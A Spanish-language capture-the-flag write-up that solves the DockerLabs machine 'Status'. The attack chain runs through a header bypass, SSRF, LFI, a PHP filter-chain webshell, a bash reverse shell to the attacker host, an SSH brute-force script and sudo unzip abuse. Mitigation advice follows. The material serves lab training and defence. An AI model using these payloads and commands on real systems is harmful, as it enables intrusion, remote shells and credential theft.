Status
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina Status, desarrollada por Pylon & El Pingüino de Mario para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario avanzado donde múltiples vulnerabilidades web encadenadas permiten acceso completo al sistema, incluyendo bypass de controles mediante cabeceras HTTP.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios y descubrimiento de funcionalidad oculta mediante cabeceras HTTP.
- Explotación: Path traversal, Local File Inclusion (LFI) y conversión a Remote Code Execution (RCE) mediante PHP wrappers.
- Escalada de privilegios: Fuerza bruta dirigida y abuso de privilegios sudo en unzip.
El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades complejas en aplicaciones web.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Status |
| Autor | Pylon & El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 25/06/2025 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y lo desplegamos:
unzip Status.zipsudo bash auto_deploy.sh Status.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p Status/{content,exploits,nmap,gobuster,scripts}cd StatusFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 80/tcp — HTTP (Web Server)

Figura 2: Único servicio HTTP expuesto
2.2 Análisis del Servicio Web
Sección titulada «2.2 Análisis del Servicio Web»Realizamos un escaneo de directorios:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Figura 3: Resultados del escaneo en puerto 80
2.3 Enumeración de Contenido Web
Sección titulada «2.3 Enumeración de Contenido Web»-
/index — Página principal básica
Ventana de terminal curl -s http://172.17.0.2/ -
/status.php — Endpoint que verifica estado
Figura 4: Endpoint /status.php con mensaje genérico
2.4 Análisis de Cabeceras HTTP
Sección titulada «2.4 Análisis de Cabeceras HTTP»Inspeccionando la respuesta de /status.php con Burp Suite:

Figura 5: Cabecera personalizada Statusid en la respuesta
Hallazgo crítico: La respuesta incluye la cabecera personalizada Statusid: 0, sugiriendo un mecanismo de control de acceso basado en cabeceras HTTP.
Fase 3 — Explotación: Bypass de Controles
Sección titulada «Fase 3 — Explotación: Bypass de Controles»3.1 Bypass Mediante Cabecera Statusid
Sección titulada «3.1 Bypass Mediante Cabecera Statusid»Probamos enviar la cabecera Statusid: 1:
curl -s -H "Statusid: 1" http://172.17.0.2/status.phpResultado: Se revela una funcionalidad oculta - un verificador de estado de sitios web:

Figura 6: Panel de verificación de estado de sitios web
3.2 Enumeración de Puertos Internos
Sección titulada «3.2 Enumeración de Puertos Internos»Utilizamos la funcionalidad para escanear puertos internos mediante SSRF:
# Usamos ffuf para escanear puertos localesseq 1 10000 | ffuf -w - \ -u 'http://172.17.0.2/status.php' \ -X POST \ -H 'Statusid: 1' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'url=http://localhost:FUZZ' \ -fs 339
Figura 7: Puerto 3222 identificado como servicio web interno
Hallazgo: Puerto 3222 expone un servicio web interno.
3.3 Descubrimiento de API Interna
Sección titulada «3.3 Descubrimiento de API Interna»Accedemos al servicio interno descubierto:
curl -s -H "Statusid: 1" \ -d "url=http://localhost:3222" \ http://172.17.0.2/status.php
Figura 8: Endpoints de API descubiertos
3.4 Descarga de Backup
Sección titulada «3.4 Descarga de Backup»Descubrimos y descargamos un archivo backup:
# Descargamos el backupwget "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/backups/backup_5025a3123660d066c9ba8617c0cd92d5.zip"
# Extraemos contenidounzip backup_5025a3123660d066c9ba8617c0cd92d5.zip3.5 Análisis del Código Fuente
Sección titulada «3.5 Análisis del Código Fuente»Examinamos el código fuente extraído y descubrimos un archivo vulnerable:
find . -name "*.php" -type f | xargs grep -l "file.php\|include\|require"Hallazgo: file.php contiene vulnerabilidad de Local File Inclusion (LFI) en el parámetro 72e22dffd7fa10883a85aa3e0bbbd6d4.
3.6 Explotación de LFI
Sección titulada «3.6 Explotación de LFI»Probamos la vulnerabilidad LFI:
curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=/etc/passwd"
Figura 9: Lectura de /etc/passwd mediante LFI
3.7 Conversión de LFI a RCE mediante PHP Wrappers
Sección titulada «3.7 Conversión de LFI a RCE mediante PHP Wrappers»Verificamos disponibilidad de PHP wrappers:
# Probamos php://filtercurl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=php://filter/read=string.toupper/resource=file.php"Confirmación: Los wrappers PHP están disponibles.
3.8 Generación de Cadena de Filtro PHP
Sección titulada «3.8 Generación de Cadena de Filtro PHP»Utilizamos php_filter_chain_generator para crear una cadena que inyecte código PHP:
# Generamos cadena para webshellpython3 php_filter_chain_generator.py \ --chain '<?php system($_GET["cmd"]); ?>'3.9 Ejecución de Comandos
Sección titulada «3.9 Ejecución de Comandos»Probamos la ejecución de comandos:
# URL encode la cadena generadaCHAIN="php://filter/generator...php://temp"
curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=${CHAIN}&cmd=id"
Figura 10: Ejecución de comando mediante RCE
3.10 Obtención de Shell Reversa
Sección titulada «3.10 Obtención de Shell Reversa»Creamos una reverse shell:
# Iniciamos listenernc -nlvp 443
# URL encode del payloadPAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'\"))")
# Ejecutamos reverse shellcurl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=${CHAIN}&cmd=${PAYLOAD}"
Figura 11: Shell como www-data obtenida
3.11 Normalización de la Shell
Sección titulada «3.11 Normalización de la Shell»python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermexport PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/binFase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Enumeración del Sistema
Sección titulada «4.1 Enumeración del Sistema»Comenzamos la enumeración post-explotación:
whoamiidpwdls -la4.2 De www-data → baluton
Sección titulada «4.2 De www-data → baluton»Identificamos el usuario baluton en /etc/passwd pero no tenemos credenciales. Realizamos fuerza bruta:
Preparación en máquina atacante:
# Creamos script UserRush.shcat > UserRush.sh << 'EOF'#!/bin/bash# Script simplificado para fuerza bruta SSHUSER=$1WORDLIST="rockyou.txt"
while read PASS; do sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no $USER@172.17.0.2 "id" 2>/dev/null if [ $? -eq 0 ]; then echo "[+] Credenciales encontradas: $USER:$PASS" exit 0 fidone < "$WORDLIST"EOF
chmod +x UserRush.shTransferencia a máquina objetivo:
# En atacantepython3 -m http.server 8000
# En objetivo (via RCE)curl -o /tmp/UserRush.sh http://172.17.0.1:8000/UserRush.shcurl -o /tmp/rockyou.txt http://172.17.0.1:8000/rockyou.txtEjecución de fuerza bruta:
cd /tmpchmod +x UserRush.sh./UserRush.sh baluton
Figura 12: Credenciales de baluton obtenidas
Credenciales obtenidas: baluton:fiesta
4.3 Acceso como baluton
Sección titulada «4.3 Acceso como baluton»su baluton# Contraseña: fiesta
Figura 13: Acceso como usuario baluton
4.4 De baluton → root
Sección titulada «4.4 De baluton → root»4.4.1 Verificación de Privilegios Sudo
Sección titulada «4.4.1 Verificación de Privilegios Sudo»sudo -l
Figura 14: baluton puede ejecutar unzip como root
Hallazgo: (root) NOPASSWD: /usr/bin/unzip
4.4.2 Búsqueda de Archivos ZIP
Sección titulada «4.4.2 Búsqueda de Archivos ZIP»find / -name "*.zip" -type f 2>/dev/null
Figura 15: Archivo ZIP encontrado en sistema
4.4.3 Extracción de Archivo Privilegiado
Sección titulada «4.4.3 Extracción de Archivo Privilegiado»# Creamos directorio temporalmkdir -p /tmp/secret_extraction
# Extraemos como rootsudo /usr/bin/unzip /secretitosecretazo.zip -d /tmp/secret_extraction
# Examinamos contenidols -la /tmp/secret_extraction/4.4.4 Lectura de Credenciales Root
Sección titulada «4.4.4 Lectura de Credenciales Root»cat /tmp/secret_extraction/regalitoregalazoregalin.txt
Figura 16: Credenciales root en archivo extraído
Credenciales obtenidas: root:12345678
4.4.5 Acceso como root
Sección titulada «4.4.5 Acceso como root»su root# Contraseña: 12345678
Figura 17: Acceso root exitoso
4.5 Verificación Final
Sección titulada «4.5 Verificación Final»idwhoamicat /etc/shadow | head -1Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| Control de acceso basado únicamente en cabeceras HTTP | Alta | Bypass de autenticación | CWE-639 |
| Server-Side Request Forgery (SSRF) | Crítica | Enumeración de servicios internos | CWE-918 |
| Local File Inclusion (LFI) sin sanitización | Crítica | Lectura arbitraria de archivos | CWE-22 |
| Disponibilidad de wrappers PHP peligrosos | Crítica | LFI → RCE conversion | CWE-73 |
| Contraseñas débiles y predecibles | Alta | Escalada horizontal | CWE-521 |
| Configuración insegura de sudo (unzip) | Crítica | Escalada vertical a root | CWE-269 |
| Archivos con credenciales en texto plano | Crítica | Exposición de credenciales privilegiadas | CWE-312 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Autenticación y Autorización Robustas:
- Implementar mecanismos de autenticación estándar (JWT, sessions)
- No confiar únicamente en cabeceras HTTP para control de acceso
- Implementar validación de origen de peticiones
// EJEMPLO DE VALIDACIÓN CORRECTAsession_start();if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {http_response_code(403);die('Acceso no autorizado');} -
Protección contra SSRF:
- Validar y sanitizar URLs en funciones de red
- Implementar listas blancas de dominios permitidos
- Utilizar firewalls de aplicación web (WAF)
$allowed_hosts = ['example.com', 'api.example.com'];$host = parse_url($url, PHP_URL_HOST);if (!in_array($host, $allowed_hosts)) {die('Host no permitido');} -
Sanitización de Entradas para LFI:
- Validar y sanitizar todos los parámetros de entrada
- Utilizar listas blancas de archivos permitidos
- Evitar inclusión dinámica basada en entrada de usuario
// INCORRECTOinclude($_GET['file']);// CORRECTO$allowed_files = ['page1.php', 'page2.php'];$file = basename($_GET['file']);if (in_array($file, $allowed_files)) {include($file);} else {die('Archivo no permitido');} -
Configuración Segura de PHP:
- Deshabilitar wrappers PHP peligrosos
; php.ini configurationallow_url_fopen = Offallow_url_include = Off- Restringir funciones peligrosas
disable_functions = system,exec,passthru,shell_exec -
Gestión de Credenciales:
- Implementar políticas de contraseñas complejas
- Utilizar autenticación multifactor
- No almacenar credenciales en texto plano
- Rotar credenciales regularmente
-
Configuración Segura de Sudo:
- Revisar y minimizar privilegios sudo
- Especificar comandos exactos con argumentos
Ventana de terminal # INCORRECTObaluton ALL=(ALL) NOPASSWD: /usr/bin/unzip# CORRECTO (si es necesario)baluton ALL=(ALL) NOPASSWD: /usr/bin/unzip /backups/* -
Monitoreo y Detección:
- Implementar logging de intentos de LFI/SSRF
- Configurar alertas para ejecución de comandos
- Monitorear uso de privilegios sudo
- Realizar auditorías de seguridad periódicas
Ventana de terminal # Configurar auditd para monitorear sudoauditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -
Desarrollo Seguro:
- Implementar revisiones de código de seguridad
- Realizar pruebas de penetración regulares
- Capacitar a desarrolladores en seguridad web
- Utilizar herramientas SAST/DAST